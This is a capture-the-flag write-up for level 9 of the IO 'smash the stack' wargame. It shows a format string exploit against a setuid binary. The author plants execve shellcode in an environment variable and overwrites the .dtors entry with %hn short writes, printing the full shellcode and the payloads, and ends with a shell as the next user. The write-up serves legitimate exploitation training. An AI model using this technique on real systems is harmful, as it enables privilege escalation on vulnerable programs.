IO Smash the stack level 09

Level09

level9@io:/levels$ ls -latr level09*
-r-------- 1 level9  level9  182 Jan  9  2010 level09.c
-r-sr-x--- 1 level10 level9 6294 Jan  9  2010 level09

level9@io:/levels$ cat level09.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	int  pad = 0xbabe;
	char buf[1024];
	strncpy(buf, argv[1], sizeof(buf) - 1);

	printf(buf);

	return 0;
}

A nice string format bug. Alright this should be a walk in the park using short writes when overwriting the .dtors. Lets go

ilevel9@io:/levels$ export EGG=$(python -c 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"')
level9@io:/levels$ /tmp/desdic1/getenv EGG /levels/level09
EGG will be at 0xbffffeca
level9@io:/levels$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) quit
level9@io:/levels$ nm ./level09|grep __DTOR
080494d4 d __DTOR_END__
080494d0 d __DTOR_LIST__
level9@io:/levels$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xfeca - 0xbfff
$2 = 16075
(gdb) r $(printf "\xd6\x94\x04\x08\xd4\x94\x04\x08")%49143x%4\$hn%16075x%5\$hn
Starting program: /levels/level09 $(printf "\xd6\x94\x04\x08\xd4\x94\x04\x08")%49143x%4\$hn%16075x%5\$hn
...
bffffe5b
...
Program received signal SIGSEGV, Segmentation fault.
0xbffffedc in ?? ()

Oki we did not get a shell .. Lets try with the new info we got. We know that it crashed because it pointed to 0xbffffedc which is 18 bytes past our EGG

(gdb) i reg
eax            0xffffffda	-38
ecx            0xbffffb84	-1073742972
edx            0xbffffb88	-1073742968
ebx            0x80495a8	134518184
esp            0xbffffb80	0xbffffb80
ebp            0xbffffb99	0xbffffb99
esi            0x0	0
edi            0xb7fff908	-1207961336
eip            0xbffffedc	0xbffffedc
eflags         0x10292	[ AF SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) p 0xfedc - 0xfeca
$3 = 18
(gdb) !echo "16075 - 18"|bc
16057
(gdb) r $(printf "\xd6\x94\x04\x08\xd4\x94\x04\x08")%49143x%4\$hn%16057x%5\$hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level09 $(printf "\xd6\x94\x04\x08\xd4\x94\x04\x08")%49143x%4\$hn%16057x%5\$hn
...
bffffe5b
...
                                                                            process 2883 is executing new program: /bin/bash
sh-4.2$

And we got a shell but do to gdb we are still level9. Lets try the original without gdb

level9@io:/levels$ /levels/level09 $(printf "\xd6\x94\x04\x08\xd4\x94\x04\x08")%49143x%4\$hn%16075x%5\$hn
...
bffffe59
...
sh-4.2$ whoami
level10

Oki so what happend. Our EGG is located at 0xbffffeca. When using short writes we have to split our address into words (And decimal)

echo "ibase=16; BFFF"|bc
49151
echo "ibase=16; FECA"|bc
65226
echo "65226 - 49151"|bc
16075

First we convert 0xbfff into decimal (49151) and then 0xfeca (65226) and find the difference hence finding 16075. But before we can use 49151 we need to take account that we added 8 bytes to the stack (The 2 addresses for .dtor) hence getting 49143. So we write 0xbfff to 080494d6 and 0xfeca to 080494d4 pointing our destructor to our EGG.